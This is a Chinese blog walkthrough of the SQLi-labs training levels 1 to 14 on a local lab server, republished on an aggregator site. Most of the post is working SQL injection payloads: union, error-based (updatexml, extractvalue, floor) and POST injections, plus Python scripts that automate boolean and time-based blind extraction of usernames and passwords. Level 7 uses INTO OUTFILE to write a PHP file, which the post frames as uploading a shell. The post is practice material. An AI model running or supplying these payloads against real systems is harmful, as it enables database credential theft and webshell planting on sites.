sql注入复现(1-14关)

news2024/12/25 1:09:33

目录

第一关(字符型注入)

第二关(数字型注入)

第三关(闭合方式不同)

第四关(用双引号闭合)

第五关(不会数据回显)

第六关(闭合方式不同双引号 ”)

第7关(outfile注入)

第八关(布尔盲注)

第九关(时间盲注)

第十关(闭合方式不同)

第十一关(post注入)

第十二关(闭合方式不同双引号)

第十三关(报错注入)

第十四关(双引号)


第一关(字符型注入)

判断注入是否存在

http://127.0.0.1/sqllabs/Less-1/?id=1

判断sql语句是否拼接

http://127.0.0.1/sqllabs/Less-1/?id=1'

http://127.0.0.1/sqllabs/Less-1/?id=1'--+

可以根据结果指定是字符型且存在sql注入漏洞。因为该页面存在回显,所以我们可以使用联合查询。

联合注入

爆列

首先知道表格有几列,如果报错就是超出列数,显示正常则是没有超出列数(使用二分法,先查看一个大的数值,显示正常,则翻倍,报错则缩小一半数值)

http://127.0.0.1/sqllabs/Less-1/?id=1' order by 5--+
http://127.0.0.1/sqllabs/Less-1/?id=1' order by 3--+
http://127.0.0.1/sqllabs/Less-1/?id=1' order by 4--+

爆显示位

由于我们已经知道了这个表有三列,所以我们使用联合查询来爆出显示位

http://127.0.0.1/sqllabs/Less-1/?id=1' union select 1,2,3--+
http://127.0.0.1/sqllabs/Less-1/?id=-1' union select 1,2,3--+

由于只能查看一组数据,所以我们需要修改id值,让他要么远超这个数据表,要么小于0

爆数据库名和版本号

我们知道了回显的列数是第二列和第三列,所以我们可以直接爆出数据库名和版本号

http://127.0.0.1/sqllabs/Less-1/?id=-1' union select 1,database(),version()--+

爆表

http://127.0.0.1/sqllabs/Less-1/?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema ='security'--+

information_schema.tables表示该数据库下的tables表,group_concat() 是将查询结果连接起来(显示出一行数据),如果不用group_concat()查询到的结果只有user。

爆字段名

我们通过sql语句查询后的结果知道当前数据库有四个表,根据表名猜测账户和密码可能在users表中

http://127.0.0.1/sqllabs/Less-1/?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+

该语句的意思是查询information_schema数据库下的columns表里面且table_users字段内容是users的所有column_name内。

由查询到的结果,猜测username和password是账户名和密码

获取用户名和密码

http://127.0.0.1/sqllabs/Less-1/?id=-1' union select 1,2,group_concat(username ,0x3a , password) from users--+

第二关(数字型注入)

判断是否有注入问题

输入单引号,根据报错信息确定咱们输入的内容被原封不动的带入到数据库中,也可叫做数字型注入,就是,把第一题中id=1后面的单引号去掉

http://127.0.0.1/sqllabs/Less-2/?id=1'
http://127.0.0.1/sqllabs/Less-2/?id=1'--+
http://127.0.0.1/sqllabs/Less-2/?id=1
http://127.0.0.1/sqllabs/Less-2/?id=1--+
 

联合注入

爆列(和第一关一样的思想)

http://127.0.0.1/sqllabs/Less-3/?id=1' order by 5--+
http://127.0.0.1/sqllabs/Less-3/?id=1' order by 3--+
http://127.0.0.1/sqllabs/Less-3/?id=1' order by 4--+

爆数据库名和版本号

http://127.0.0.1/sqllabs/Less-2/?id=-1 union select 1,database(),version()--+

爆表

http://127.0.0.1/sqllabs/Less-2/?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema ='security'--+

爆字段名

http://127.0.0.1/sqllabs/Less-2/?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+

获取用户名和密码

http://127.0.0.1/sqllabs/Less-2/?id=-1 union select 1,2,group_concat(username ,0x3a , password) from users--+

第三关(闭合方式不同)

http://127.0.0.1/sqllabs/Less-3/?id=1'
http://127.0.0.1/sqllabs/Less-3/?id=1'--+
http://127.0.0.1/sqllabs/Less-3/?id=1')
http://127.0.0.1/sqllabs/Less-3/?id=1')--+

输入单引号,根据报错信息确定咱们输入的内容存放到一对单引号加圆括号中了,猜想一下咱们输入1在数据库语句中的位置,形如select … from … where id=( ‘1’) …,在第一题中id=1’的后面单引号加上),其它保持不变就行了。

联合注入

http://127.0.0.1/sqllabs/Less-3/?id=1'
http://127.0.0.1/sqllabs/Less-3/?id=1'--+
http://127.0.0.1/sqllabs/Less-3/?id=1')
http://127.0.0.1/sqllabs/Less-3/?id=1')--+

闭合方式改成()

包数据库和version

http://127.0.0.1/sqllabs/Less-3/?id=-1') union select 1,database(),version()--+

爆表

http://127.0.0.1/sqllabs/Less-3/?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema ='security'--+

爆字段

http://127.0.0.1/sqllabs/Less-3/?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+

获取用户名和密码

http://127.0.0.1/sqllabs/Less-3/?id=-1') union select 1,2,group_concat(username ,0x3a , password) from users--+

第四关(用双引号闭合)

然后跟前几关一样

http://127.0.0.1/sqllabs/Less-3/?id=-1") union select 1,2,group_concat(username ,0x3a , password) from users--+

第五关(不会数据回显)

不显示只有对错页面显示我们可以选择布尔盲注,报错注入。布尔盲注主要用length(),ascii() ,substr()这三个函数,但是我这一关不打算用布尔盲注。报错注入主要使用updatexml()、extractvalue()、floor()三个函数。

http://127.0.0.1/sqllabs/Less-5/?id=1'
http://127.0.0.1/sqllabs/Less-5/?id=1'--+

这一关我使用updatetexml注入

爆数据库名和版本号

http://127.0.0.1/sqllabs/Less-5/?id=1' and updatexml(1,concat('~',(select database()),'~'),1)--+
http://127.0.0.1/sqllabs/Less-5/?id=1' and updatexml(1,concat('~',(select version()),'~'),1)--+

爆表

http://127.0.0.1/sqllabs/Less-5/?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema='security'),0x7e),1)--+

爆字段名

http://127.0.0.1/sqllabs/Less-5/?id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_schema ='security' and table_name='users'),0x7e),1)--+

获取用户名和密码

updatetexml 一次性只能显示32个数据,所以我们需要截取

http://127.0.0.1/sqllabs/Less-5/?id=1' and updatexml(1,concat(0x7e,(select concat(username,0x3a,password)from users limit 0,1),0x7e),1)--+
http://127.0.0.1/sqllabs/Less-5/?id=1' and updatexml(1,concat(0x7e,(select concat(username,0x3a,password)from users limit 1,1),0x7e),1)--+

extractvalue()注入

http://127.0.0.1/sqllabs/Less-5/?id=1' and extractvalue(1,concat(0x7e,(select database()),0x7e))--+
http://127.0.0.1/sqllabs/Less-5/?id=1' and extractvalue(1,concat(0x7e,(select version()),0x7e))--+
http://127.0.0.1/sqllabs/Less-5/?id=1' and extractvalue(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema='security'),0x7e))--+
http://127.0.0.1/sqllabs/Less-5/?id=1' and extractvalue(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_schema ='security' and table_name='users'),0x7e))--+
http://127.0.0.1/sqllabs/Less-5/?id=1' and extractvalue(1,concat(0x7e,(select concat(username,0x3a,password)from users limit 0,1),0x7e))--+
http://127.0.0.1/sqllabs/Less-5/?id=1' and extractvalue(1,concat(0x7e,(select concat(username,0x3a,password)from users limit 1,1),0x7e))--+

floor()注入

http://127.0.0.1/sqllabs/Less-5/?id=1' and (select 1 from (select count(*),concat(database(),floor(rand(0)*2))x from information_schema.tables group by x)a)--+
http://127.0.0.1/sqllabs/Less-5/?id=1' and (select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a)--+
http://127.0.0.1/sqllabs/Less-5/?id=1' and (select 1 from (select count(*),concat(concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema='security'),0x7e),floor(rand(0)*2))x from information_schema.tables group by x)a)--+
http://127.0.0.1/sqllabs/Less-5/?id=1' and (select 1 from (select count(*),concat(concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_schema ='security' and table_name='users'),0x7e),floor(rand(0)*2))x from information_schema.tables group by x)a)--+
http://127.0.0.1/sqllabs/Less-5/?id=1' and (select 1 from (select count(*),concat(concat(0x7e,(select concat(username,0x3a,password)from users limit 0,1),0x7e),floor(rand(0)*2))x from information_schema.tables group by x)a)--+
http://127.0.0.1/sqllabs/Less-5/?id=1' and (select 1 from (select count(*),concat(concat(0x7e,(select concat(username,0x3a,password)from users limit 1,1),0x7e),floor(rand(0)*2))x from information_schema.tables group by x)a)--+

第六关(闭合方式不同双引号 ”)

第7关(outfile注入)

需要知道对方文件在哪 才可以利用 (比较鸡肋)

通常面试会这样问 

mysql 怎么上传一个shell 导出一个shell

        1、必须有权限

        2、secure_file-priv 必须为空值(不是null)

        3、对方网站的文件物理地址

http://127.0.0.1/sqllabs/less-7/?id=-1%27))%20union%20select%201,user(),%27%3C?php%20phpinfo();?%3E%27%20into%20outfile%20%22F:\\phpstudy_pro\\WWW\\sqllabs\\webshell.php%22--+

第八关(布尔盲注)

你会发现,输入什么都不会显示报错,只会有一个you are in…… 所以我们得想到什么形式会显示一真一假 布尔类型

写python爬虫,让他自己去爆

爆数据库名

import requests
 
#第8关
def inject_database(url):
    name = ''
    for i in range(1, 20):
        min_value = 32
        max_value = 128
        mid = (min_value + max_value) // 2
        while min_value < max_value:
            payload = "?id=1' and ascii(substr(database(),%d,1))> %d--+" % (i, mid)
            r = requests.get(url + payload)
            if "You are in..........." in r.text:
                min_value = mid + 1
            else:
                max_value = mid
            mid = (min_value + max_value) // 2
        if mid == 32:
            break
        name += chr(mid)
        print(name)
    return name
 
 
if __name__ == "__main__":
    url = 'http://127.0.0.1/sqllabs/Less-8/'
    inject_database(url)

结果

爆表

import requests
 
#第8关
def inject_database(url):
    name = ''
    for i in range(1, 32):
        min_value = 32
        max_value = 128
        mid = (min_value + max_value) // 2
        while min_value < max_value:
            payload = "?id=1' and ascii(substr(concat((select group_concat(table_name)from information_schema.tables where table_schema='security')),%d,1))> %d--+" % (i, mid)
            r = requests.get(url + payload)
            if "You are in..........." in r.text:
                min_value = mid + 1
            else:
                max_value = mid
            mid = (min_value + max_value) // 2
        if mid == 32:
            break
        name += chr(mid)
        print(name)
    return name
 
 
if __name__ == "__main__":
    url = 'http://127.0.0.1/sqllabs/Less-8/'
    inject_database(url)

结果

爆字段名

import requests
 
#第8关
def inject_database(url):
    name = ''
    for i in range(1, 32):
        min_value = 32
        max_value = 128
        mid = (min_value + max_value) // 2
        while min_value < max_value:
            payload = "?id=1' and ascii(substr(concat((select group_concat(column_name)from information_schema.columns where table_schema ='security' and table_name='users')),%d,1))> %d--+" % (i, mid)
            r = requests.get(url + payload)
            if "You are in..........." in r.text:
                min_value = mid + 1
            else:
                max_value = mid
            mid = (min_value + max_value) // 2
        if mid == 32:
            break
        name += chr(mid)
        print(name)
    return name
 
 
 
if __name__ == "__main__":
    url = 'http://127.0.0.1/sqllabs/Less-8/'
    inject_database(url)

获取用户名和密码

import requests
 
#第8关
def inject_database(url):
    name = ''
    for i in range(1, 1000):
        min_value = 32
        max_value = 128
        mid = (min_value + max_value) // 2
        while min_value < max_value:
            payload = "?id=1' and ascii(substr(concat((select group_concat(username ,0x3a , password) from users)),%d,1))> %d--+" % (i, mid)
            r = requests.get(url + payload)
            if "You are in..........." in r.text:
                min_value = mid + 1
            else:
                max_value = mid
            mid = (min_value + max_value) // 2
        if mid == 32:
            break
        name += chr(mid)
        print(name)
    return name
 
 
 
if __name__ == "__main__":
    url = 'http://127.0.0.1/sqllabs/Less-8/'
    inject_database(url)

第九关(时间盲注)

这一关输入的sql语句无论对错,都只会显示You are in...........,因此,我们判断这一关需要时间盲注来进行闯关。(让浏览器沉睡)

继续写python爬虫

前边都跟第八关差不多 我只写了最终结果

import requests
import time
 
def inject_database(url):
    name = ''
    for i in range(1, 20):
        low = 32
        high = 128
        mid = (low + high) // 2
        while low < high:
            payload = "?id=1' and if(ascii(substr((select group_concat(username, 0x3a, password) from users), %d, 1)) > %d, sleep(3), 0)--+" % (i, mid)
            start_time = time.time()
            r = requests.get(url + payload)
            end_time = time.time()
            if end_time - start_time >= 1:
                low = mid + 1
            else:
                high = mid
            mid = (low + high) // 2
        if mid == 32:
            break
        name += chr(mid)
        print(name)
    return name
 
if __name__ == "__main__":
    url = 'http://127.0.0.1/sqllabs/Less-9/'
    inject_database(url)

第十关(闭合方式不同)

双引号闭合


def inject_database(url):
    name = ''
    for i in range(1, 20):
        low = 32
        high = 128
        mid = (low + high) // 2
        while low < high:
            payload = '?id=1" and if(ascii(substr((select group_concat(username, 0x3a, password) from users), %d, 1)) > %d, sleep(1), 0)--+' % (i, mid)
            start_time = time.time()
            r = requests.get(url + payload)
            end_time = time.time()
            if end_time - start_time >= 1:
                low = mid + 1
            else:
                high = mid
            mid = (low + high) // 2
        if mid == 32:
            break
        name += chr(mid)
        print(name)
    return name
 
if __name__ == "__main__":
    url = 'http://127.0.0.1/sqllabs/Less-10/'
    inject_database(url)
————————————————

                            版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
                        
原文链接:https://blog.csdn.net/huizhaohaha/article/details/138783298

第十一关(post注入)

查看页面

我们发现username 是注入点

百变不离其尊(跟get传参差不多)

我们发现联合查询注入是可行的,接下来就是该爆数据库、表、字段和用户账号密码

aaa' union select 1,database()#
aaa' union select 1,group_concat(table_name) from information_schema.tables where table_schema ='security'#
aaa' union select 1,group_concat(column_name) from information_schema.columns where table_name='users'#
aaa' union select 1,group_concat(username ,0x3a , password) from users#

第十二关(闭合方式不同双引号)

aaa") union select 1,database()#
aaa") union select 1,group_concat(table_name) from information_schema.tables where table_schema ='security'#
aaa") union select 1,group_concat(column_name) from information_schema.columns where table_name='users'#
aaa") union select 1,group_concat(username ,0x3a , password) from users#

第十三关(报错注入)

aaa') and updatexml(1,user(),1)#
aaa') and updatexml(1,concat('~',(select database()),'~'),1)#
aaa') and updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema='security'),0x7e),1)#
aaa') and updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_schema ='security' and table_name='users'),0x7e),1)#
aaa') and updatexml(1,concat(0x7e,(select concat(username,0x3a,password)from users limit 0,1),0x7e),1)#

由于只能显示一个字段,所以我们使用limit进行逐个输出

第十四关(双引号)

闭合方式不同

aaa" and updatexml(1,user(),1)#
aaa" and updatexml(1,concat('~',(select database()),'~'),1)#
aaa" and updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema='security'),0x7e),1)#
aaa" and updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_schema ='security' and table_name='users'),0x7e),1)#
aaa" and updatexml(1,concat(0x7e,(select concat(username,0x3a,password)from users limit 0,1),0x7e),1)#

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1988161.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Mac角色扮演游戏:仙剑奇侠传四 for Mac v1.1 中文移植版

仙剑奇侠传四游戏的背景设定在十九年前&#xff0c;琼华派利用望舒和羲和双剑网缚妖界&#xff0c;引发人妖大战。游戏的主角是云天河&#xff0c;他在青鸾峰长大&#xff0c;与韩菱纱、柳梦璃和慕容紫英一起踏上了寻仙之路。在这个过程中&#xff0c;他们遇到了各种挑战&#…

事件驱动架构-七巧低代码入门01

事件驱动架构&#xff08;Event-Driven Architecture&#xff0c; EDA&#xff09;是一种软件架构模式&#xff0c;它强调系统内各个组件之间通过事件或消息进行通信和协作。在事件驱动架构中&#xff0c;系统的各个部分&#xff08;服务、组件等&#xff09;不直接调用彼此的方…

基于深度学习的大规模MIMO信道状态信息反馈

MIMO系统 MIMO系统利用多个天线在发送端和接收端之间建立多条独立的信道&#xff0c;从而使得同一时间可以传输多个数据流&#xff0c;从而使得同一之间可以传输多个数据流&#xff0c;提高数据传输速率。 优势 增加传输速率和容量&#xff0c;提高信号覆盖范围和抗干扰能力…

关于keil程序无法进入main函数问题

情况&#xff1a;之前烧写没问题&#xff0c;不然再次烧写的稍后显示boot损坏。 原因&#xff1a;发现kill掉所有断点再编译会导致bootloader失效 所以编译的时候&#xff0c;如果没有断点不要去执行1按钮 kill 断点&#xff0c;否则boot会失效&#xff0c;进不去main函数 解决…

物联网井盖-智能井盖-旭华智能

在智慧城市的大背景下&#xff0c;每一个细节都可能成为改变城市的契机。今天&#xff0c;我们就来聊聊那些不起眼却极其重要的城市守护者——物联网智慧井盖。它们不仅为城市管理带来了前所未有的便捷&#xff0c;也为环保事业贡献了一份力量。 什么是物联网智慧井盖&#xf…

【Foundation】(五)transformers之Evaluate

文章目录 0、介绍1、基本使用2、加载评估函数3、查看函数说明4、评估指标计算——全局计算5、评估指标计算——迭代计算6、多个评估指标计算7、评估结果可视化 0、介绍 简单易用的机器学习模型库&#xff0c;只需要一行代码便可加载任务任务的评估函数 1、基本使用 查看支持的…

SAP MM学习笔记 - 豆知识03 - 安全在库和最小安全在库,扩张物料的保管场所的几种方法,定义生产订单的默认入库保管场所,受注票中设定禁止贩卖某个物料

上一章讲了一些MM模块的豆知识。 - MR21 修改物料原价 - MM02 修改基本数量单位/评价Class - MMAM 修改物料类型/评价Class SAP MM学习笔记 - 豆知识02 - MR21 修改物料原价&#xff0c;MM02 修改基本数量单位/评价Class&#xff0c;MMAM 修改物料类型/评价Class-CSDN博客 …

武汉流星汇聚:亚马逊市场份额霸榜全球,强大实力引领跨境新纪元

在当今这个瞬息万变的电商时代&#xff0c;市场占有率无疑是衡量一个平台成功与否的关键指标。它不仅关乎平台的行业地位与竞争力&#xff0c;更是其盈利能力与未来潜力的直接体现。在众多电商巨头中&#xff0c;亚马逊以其卓越的表现和广泛的影响力&#xff0c;稳居全球电商市…

使用Python将Word文档转换为PNG图片

在这篇博客中&#xff0c;我将介绍一个使用Python编写的小工具&#xff0c;它能够将指定文件夹中的所有Word文档&#xff08;.doc和.docx格式&#xff09;转换为PNG图片。这个工具基于wxPython库构建图形用户界面&#xff0c;并结合了win32com和PyMuPDF库实现文档格式的转换。接…

JAVA WEB初步实验

Spring应用开发环境准备 安装配置Spring应用开发环境 熟悉IntelliJ IDEA开发工具 打开idea工具&#xff0c;创建普通Java工程 配置普通Java工程运行环境 得到基本的Java运行环境配置正常 修改pom.xml文件&#xff0c;搭建Spring IOC运行环境 更新pom文件 新建User、TestSpr…

部署Springboot + Vue 项目到远程服务器Windows10系统的详细配置

远程服务器操作系统为Windows系统&#xff0c;Java程序环境&#xff0c;Maven环境都安装有&#xff0c;Mysql ,Redis等都有的前提下 1. mysql数据库导入&#xff0c;非常简单很好操作&#xff0c;这里省略。。比如用HeidiSql 或者Navicat 工具导入数据库 2. 后端javaSpringb…

医疗器械注册资源宝库数屿医械官方平台!

医学影像设备市场作为医疗器械领域的佼佼者&#xff0c;技术门槛高且规模庞大&#xff0c;2021年全球规模达458亿美元&#xff0c;预计2022年逼近500亿美元&#xff0c;增长动力源自技术革新与临床需求攀升。中国市场亦不甘落后&#xff0c;受政策驱动与市场需求双重提振&#…

WPF学习(8)- Button按钮

1. 用法解析 Button因为继承了ButtonBase&#xff0c;而ButtonBase又继承了ContentControl&#xff0c;所以&#xff0c;Button可以通过设置Content属性来设置要显示的内容。例如 <Button Content"确定"/>我们使用Button的时机&#xff0c;通常是鼠标点击事件…

【IEEE出版 | 往届会后三个月检索】第五届大数据、人工智能与软件工程国际研讨会(ICBASE 2024)

【IEEE出版 | 往届会后三个月检索】 第五届大数据、人工智能与软件工程国际研讨会&#xff08;ICBASE 2024&#xff09; 2024 5th International Conference on Big Data & Artificial Intelligence & Software Engineering 2024年09月20-22日 | 中国温州 *会议官网…

【NeRF及其代码NeRF-Pytorch实现】

文章目录 模型输入和输出NeRF-Pytorch代码参考 在没有仔细学习过NeRF之前&#xff0c;对于NeRF的直观感受是&#xff0c;它是对某个场景三维模型的一个拟合&#xff0c;并且实现了一个渲染的效果&#xff0c;即输入相机位姿信息&#xff0c;输出对应位姿信息的渲染图像。NeRF训…

【IO】使用消息队列完成两个进程之间相互通信

目录 1、使用消息队列完成两个进程之间相互通信 2、共享内存实现两个进程之间的通信 3、思维导图 1、使用消息队列完成两个进程之间相互通信 //msgsnd.c #include <myhead.h>// 要发送的消息类型 struct msgbuf {long mtype;char mtext[1024]; };// 定义一个宏&#…

html5各行各业官网模板源码下载(3)

文章目录 1.来源2.源码模板2.1 HTML5好看的酷酷的个人简历、个人主页、个人网站源码2.2 html实现我的博客文章相册源码2.3 html实现好看的塔罗牌、十二星座运势网站源码 作者&#xff1a;xcLeigh 文章地址&#xff1a;https://blog.csdn.net/weixin_43151418/article/details/1…

语音转文字大盘点,Windows版Top3,你选对了吗?

现在的工作压力可不是盖的&#xff0c;老板们总希望我们能像超人一样&#xff0c;工作速度快得飞起。如果做不到&#xff0c;可能就得把位置让给别人了。不过别担心&#xff0c;有了语音转文字的软件&#xff0c;咱们的工作效率就能大大提升。那咱们应该选哪款免费的语音转文字…

免费【2024】springboot 房屋租赁系统的设计与实现

博主介绍&#xff1a;✌CSDN新星计划导师、Java领域优质创作者、掘金/华为云/阿里云/InfoQ等平台优质作者、专注于Java技术领域和学生毕业项目实战,高校老师/讲师/同行前辈交流✌ 技术范围&#xff1a;SpringBoot、Vue、SSM、HTML、Jsp、PHP、Nodejs、Python、爬虫、数据可视化…

如何通过【腾讯云 AI 代码助手】快速解决商城项目难题

文章目录 引言开发环境介绍从 IDE 插件市场安装 腾讯云AI代码助手实战问题一&#xff1a;如何使用RabbitMQ的死信队列来实现关闭订单的操作&#xff1f;并编写java代码问题二&#xff1a;在解决库存问题时&#xff0c;如何使用Redis的分布式锁来实现呢&#xff1f; 获得的帮助与…